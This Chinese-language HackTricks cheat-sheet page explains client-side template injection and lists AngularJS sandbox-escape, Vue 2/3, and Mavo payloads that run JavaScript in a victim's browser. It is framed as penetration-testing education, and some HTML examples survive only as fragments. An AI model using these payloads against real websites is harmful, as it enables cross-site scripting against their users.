从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) 支持HackTricks的其他方式: * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
# 摘要 这类似于**服务器端模板注入**,但是在**客户端**。**SSTI**可以让您在远程服务器上**执行代码**,而**CSTI**可以让您在受害者的浏览器中**执行任意JavaScript**代码。 对于这种漏洞的**测试**与**SSTI**的情况非常**相似**,解释器期望**一个模板**并将执行它。例如,使用像`{{ 7-7 }}`这样的有效负载,如果应用程序**存在漏洞**,您将看到一个`0`,如果没有,您将看到原始内容:`{{ 7-7 }}` # AngularJS AngularJS是一个广泛使用的JavaScript框架,通过称为指令的属性与HTML进行交互,其中一个显著的指令是**`ng-app`**。该指令允许AngularJS处理HTML内容,从而执行双花括号内的JavaScript表达式。 在用户输入动态插入到标记为`ng-app`的HTML主体的情况下,可以执行任意JavaScript代码。这可以通过利用输入中的AngularJS语法来实现。以下是演示如何执行JavaScript代码的示例: ```javascript {{$on.constructor('alert(1)')()}} {{constructor.constructor('alert(1)')()}}
``` 您可以在[http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)和[**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)找到**AngularJS**中漏洞的非常**基本的在线示例**。 {% hint style="danger" %} [**Angular 1.6移除了沙盒**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.),因此从这个版本开始,像`{{constructor.constructor('alert(1)')()}}`或``这样的有效载荷应该可以工作。 {% endhint %} # VueJS 您可以在[https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)找到一个**易受攻击的Vue**实现。\ 有效载荷:[`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D) 以及这里易受攻击示例的**源代码**:[https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example) ```markup ">
aaa
``` ## **V3** 在 [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) 中可以找到关于VUE中CSTI的非常好的文章。 ``` {{_openBlock.constructor('alert(1)')()}} ``` Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) ## **V2** ``` {{constructor.constructor('alert(1)')()}} ``` Credit: [Mario Heiderich](https://twitter.com/cure53berlin) **在** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected) **中查看更多VUE有效载荷** # Mavo 有效载荷: ``` [7*7] [(1,alert)(1)]
{{top.alert(1)}}
[self.alert(1)] javascript:alert(1)%252f%252f..%252fcss-images [Omglol mod 1 mod self.alert (1) andlol] [''=''or self.alert(lol)] test
lolxself.alert('lol')lolx
test [self.alert(1)mod1] ``` **更多有效载荷请查看** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations) # **暴力检测列表** {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
从零开始学习AWS黑客技术,成为专家,使用 htARTE(HackTricks AWS Red Team Expert) 支持HackTricks的其他方式: * 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。